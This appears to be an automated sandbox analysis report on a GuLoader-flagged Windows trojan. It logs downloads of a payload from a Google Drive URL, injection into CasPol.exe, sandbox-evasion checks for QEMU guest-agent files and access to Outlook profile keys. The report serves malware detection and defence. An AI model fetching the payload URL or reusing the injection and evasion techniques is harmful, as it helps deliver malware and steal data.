Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/0al9jnh9ri2cnupcf3pilpptme4k7l2h/1650461475000/18066694053602596605/*/1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0c-74-docs.googleusercontent.comConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 142.250.186.174:443 -> 192.168.11.20:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.11.20:49785 version: TLS 1.2

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Code function: 1_2_00405809 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

1_2_00405809

Source: FRACCIONAMIENTO 1722403906461L.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Code function: 1_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

1_2_00403640

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_00406D5F	1_2_00406D5F
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_71311BFF	1_2_71311BFF
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D9749	1_2_033D9749
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D7ED6	1_2_033D7ED6
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D0723	1_2_033D0723
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D0376	1_2_033D0376
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3FB4	1_2_033D3FB4
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3FA0	1_2_033D3FA0
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D0388	1_2_033D0388
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D8FFD	1_2_033D8FFD
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D07D2	1_2_033D07D2
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D03C2	1_2_033D03C2
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D061C	1_2_033D061C
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3E0A	1_2_033D3E0A
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D9260	1_2_033D9260
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D4263	1_2_033D4263
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D06AF	1_2_033D06AF
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D4299	1_2_033D4299
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D091B	1_2_033D091B
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D1D44	1_2_033D1D44
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D059F	1_2_033D059F
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3DE4	1_2_033D3DE4
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D043D	1_2_033D043D
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D081D	1_2_033D081D
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D1010	1_2_033D1010
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D0898	1_2_033D0898
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D1C91	1_2_033D1C91
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D04FA	1_2_033D04FA
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D1CE6	1_2_033D1CE6
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D48D3	1_2_033D48D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_00AD05D0	3_2_00AD05D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_00AD2A90	3_2_00AD2A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_00ADD3E0	3_2_00ADD3E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_00AD37D2	3_2_00AD37D2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_00ADEFB0	3_2_00ADEFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_1D076B62	3_2_1D076B62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_1D07A160	3_2_1D07A160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_1D079890	3_2_1D079890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_1D079548	3_2_1D079548
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_2057C108	3_2_2057C108
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_2057EC30	3_2_2057EC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_2057D3D8	3_2_2057D3D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_20571618	3_2_20571618
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_209D5860	3_2_209D5860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_209D0BA0	3_2_209D0BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_209D0B91	3_2_209D0B91

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Code function: 1_2_033D9749 NtAllocateVirtualMemory,

1_2_033D9749

Source: FRACCIONAMIENTO 1722403906461L.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: FRACCIONAMIENTO 1722403906461L.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: FRACCIONAMIENTO 1722403906461L.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Section loaded: edgegdi.dll			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: edgegdi.dll			Jump to behavior

Source: FRACCIONAMIENTO 1722403906461L.exe

Static PE information: invalid certificate

Source: FRACCIONAMIENTO 1722403906461L.exe	Virustotal: Detection: 27%
Source: FRACCIONAMIENTO 1722403906461L.exe	ReversingLabs: Detection: 12%

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

File read: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Jump to behavior

Source: FRACCIONAMIENTO 1722403906461L.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe "C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe"
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe"	Jump to behavior

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

1_2_00403640

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

File created: C:\Users\user\AppData\Local\Temp\nsq6822.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/13@3/3

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Code function: 1_2_004021AA CoCreateInstance,

1_2_004021AA

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Code function: 1_2_00404AB5 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

1_2_00404AB5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:956:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:956:120:WilError_03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Finlandsrejserne

Jump to behavior

Source: FRACCIONAMIENTO 1722403906461L.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000003.00000000.15477945295.0000000000BC0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_713130C0 push eax; ret	1_2_713130EE
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033CFF11 push ebx; iretd	1_2_033CFF12
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033CE2B4 push ebp; retf	1_2_033CE315
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033CE2FB push ebp; retf	1_2_033CE315
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_00AD84B7 push edi; retn 0000h	3_2_00AD84B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 3_2_205708DA push eax; iretd	3_2_205708E1

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Code function: 1_2_71311BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

1_2_71311BFF

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

File created: C:\Users\user\AppData\Local\Temp\nsr68C1.tmp\System.dll

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect Any.run

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: CasPol.exe, 00000003.00000002.20370411559.0000000000CD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: NTDLLUSER32KERNEL32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 10.0; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32TEMP=HTTPS://DRIVE.GOOGLE.COM/UC?EXPORT=DOWNLOAD&ID=1P1TRVKFKYHZLCDSRI8V2K0ECN7S0SK7E
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137436673.00000000034C0000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20370411559.0000000000CD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137436673.00000000034C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: NTDLLUSER32KERNEL32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 10.0; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32TEMP=WINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CASPOL.EXEWINDIR=\SYSWOW64\IERTUTIL.DLL
